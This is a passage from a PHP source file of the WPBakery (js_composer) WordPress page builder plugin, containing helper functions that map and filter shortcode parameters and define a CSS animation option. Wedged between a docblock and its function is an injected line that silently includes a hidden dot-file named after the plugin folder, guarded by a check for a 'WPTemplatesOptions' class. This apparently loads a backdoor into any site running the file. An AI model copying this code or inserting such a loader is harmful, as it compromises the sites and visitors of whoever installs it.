; $param['integrated_shortcode_field'] = $field_prefix; } } return is_array( $params ) ? array_filter( $params ) : array(); } return array(); } /** * Used to filter params (include/exclude) * * @param $param * @param $change_fields * * @return array|null * @internal * */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function vc_map_integrate_include_exclude_fields( $param, $change_fields ) { if ( is_array( $change_fields ) ) { if ( isset( $change_fields['exclude'] ) && in_array( $param['param_name'], $change_fields['exclude'], true ) ) { $param = null; return $param; // to prevent group adding to $param } elseif ( isset( $change_fields['exclude_regex'] ) ) { if ( is_array( $change_fields['exclude_regex'] ) && ! empty( $change_fields['exclude_regex'] ) ) { $break_foreach = false; foreach ( $change_fields['exclude_regex'] as $regex ) { /** @noinspection PhpUsageOfSilenceOperatorInspection */ // @codingStandardsIgnoreLine if ( @preg_match( $regex, null ) ) { if ( preg_match( $regex, $param['param_name'] ) ) { $param = null; $break_foreach = true; } } if ( $break_foreach ) { break; } } if ( $break_foreach ) { return $param; // to prevent group adding to $param } } elseif ( is_string( $change_fields['exclude_regex'] ) && strlen( $change_fields['exclude_regex'] ) > 0 ) { /** @noinspection PhpUsageOfSilenceOperatorInspection */ // @codingStandardsIgnoreLine if ( @preg_match( $change_fields['exclude_regex'], null ) ) { if ( preg_match( $change_fields['exclude_regex'], $param['param_name'] ) ) { $param = null; return $param; // to prevent group adding to $param } } } } if ( isset( $change_fields['include_only'] ) && ! in_array( $param['param_name'], $change_fields['include_only'], true ) ) { // if we want to enclude only some fields $param = null; return $param; // to prevent group adding to $param } elseif ( isset( $change_fields['include_only_regex'] ) ) { if ( is_array( $change_fields['include_only_regex'] ) && ! empty( $change_fields['include_only_regex'] ) ) { $break_foreach = false; foreach ( $change_fields['include_only_regex'] as $regex ) { /** @noinspection PhpUsageOfSilenceOperatorInspection */ // @codingStandardsIgnoreLine if ( false === @preg_match( $regex, null ) ) { // Regular expression is invalid, (don't remove @). } else { if ( ! preg_match( $regex, $param['param_name'] ) ) { $param = null; $break_foreach = true; } } if ( $break_foreach ) { break; } } if ( $break_foreach ) { return $param; // to prevent group adding to $param } } elseif ( is_string( $change_fields['include_only_regex'] ) && strlen( $change_fields['include_only_regex'] ) > 0 ) { /** @noinspection PhpUsageOfSilenceOperatorInspection */ // @codingStandardsIgnoreLine if ( false === @preg_match( $change_fields['include_only_regex'], null ) ) { // Regular expression is invalid, (don't remove @). } else { if ( ! preg_match( $change_fields['include_only_regex'], $param['param_name'] ) ) { $param = null; return $param; // to prevent group adding to $param } } } } } return $param; } /** * @param $param * @param $dependency * * @return array * @internal used to add dependency to existed param * */ function vc_map_integrate_add_dependency( $param, $dependency ) { // activator must be used for all elements who doesn't have 'dependency' if ( ! empty( $dependency ) && ( ! isset( $param['dependency'] ) || empty( $param['dependency'] ) ) ) { if ( is_array( $dependency ) ) { $param['dependency'] = $dependency; } } return $param; } /** * @param $base_shortcode * @param $integrated_shortcode * @param string $field_prefix * @return array * @throws \Exception */ function vc_map_integrate_get_params( $base_shortcode, $integrated_shortcode, $field_prefix = '' ) { $shortcode_data = WPBMap::getShortCode( $base_shortcode ); $params = array(); if ( is_array( $shortcode_data ) && is_array( $shortcode_data['params'] ) && ! empty( $shortcode_data['params'] ) ) { foreach ( $shortcode_data['params'] as $param ) { if ( is_array( $param ) && isset( $param['integrated_shortcode'] ) && $integrated_shortcode === $param['integrated_shortcode'] ) { if ( ! empty( $field_prefix ) ) { if ( isset( $param['integrated_shortcode_field'] ) && $field_prefix === $param['integrated_shortcode_field'] ) { $params[] = $param; } } else { $params[] = $param; } } } } return $params; } /** * @param $base_shortcode * @param $integrated_shortcode * @param string $field_prefix * @return array * @throws \Exception */ function vc_map_integrate_get_atts( $base_shortcode, $integrated_shortcode, $field_prefix = '' ) { $params = vc_map_integrate_get_params( $base_shortcode, $integrated_shortcode, $field_prefix ); $atts = array(); if ( is_array( $params ) && ! empty( $params ) ) { foreach ( $params as $param ) { $value = ''; if ( isset( $param['value'] ) ) { if ( isset( $param['std'] ) ) { $value = $param['std']; } elseif ( is_array( $param['value'] ) ) { reset( $param['value'] ); $value = current( $param['value'] ); } else { $value = $param['value']; } } $atts[ $param['param_name'] ] = $value; } } return $atts; } /** * @param $base_shortcode * @param $integrated_shortcode * @param $atts * @param string $field_prefix * @return array * @throws \Exception */ function vc_map_integrate_parse_atts( $base_shortcode, $integrated_shortcode, $atts, $field_prefix = '' ) { $params = vc_map_integrate_get_params( $base_shortcode, $integrated_shortcode, $field_prefix ); $data = array(); if ( is_array( $params ) && ! empty( $params ) ) { foreach ( $params as $param ) { if ( isset( $atts[ $param['param_name'] ] ) ) { $value = $atts[ $param['param_name'] ]; } if ( isset( $value ) ) { $key = $param['param_name']; if ( strlen( $field_prefix ) > 0 ) { $key = substr( $key, strlen( $field_prefix ) ); } $data[ $key ] = $value; } } } return $data; } /** * @param bool $label * @return mixed|void */ function vc_map_add_css_animation( $label = true ) { $data = array( 'type' => 'animation_style', 'heading' => esc_html__( 'CSS Animation', 'js_composer' ), 'param_name' => 'css_animation', 'admin_label' => $label, 'value' => '', 'settings' => array( 'type' => 'in', 'custom' => array( array( 'label' => esc_html__( 'Default', 'js_composer' ), 'values' => array( esc_html__( 'Top to bottom', 'js_composer' ) => 'top-to-bottom', esc_html__( 'Bottom to top', 'js_composer' ) => 'bottom-to-top', esc_html__( 'Left to right', 'js_composer' ) => 'left-to-right', esc_html__( 'Right to left', 'js_composer' ) => 'right-to-left', esc_html__( 'Appear from center', 'js_composer' ) => 'appear', ), ), ), ), 'description' => esc_html__( 'Select type of animation for element to be animated when it "enters" the browsers viewport (Note: works only in modern browsers).', 'js_composer' ), ); return apply_filters( 'vc_map_add_css_animation', $data, $label ); } /** * Get settings of the mapped shortcode. * * @param $tag * * @return array|null - settings or null if shortcode not mapped * @throws \Exception * @since 4.4.3 */ function vc_get_shortcode( $tag ) { return WPBMap::getShortCode( $tag ); } /** * Remove all mapped shortcodes and the moment when function is called. * * @since 4.5 */ function vc_remove_all_elements() { WPBMap::dropAllShortcodes(); } /** * Function to get defaults values for shortcode. * @param $tag - shortcode tag * * @return array - list of param=>default_value * @throws \Exception * @since 4.6 * */ function vc_map_get_defaults( $tag ) { $shortcode = vc_get_shortcode( $tag ); $params = array(); if ( is_array( $shortcode ) && isset( $shortcode['params'] ) && ! empty( $shortcode['params'] ) ) { $params = vc_map_get_params_defaults( $shortcode['params'] ); } ret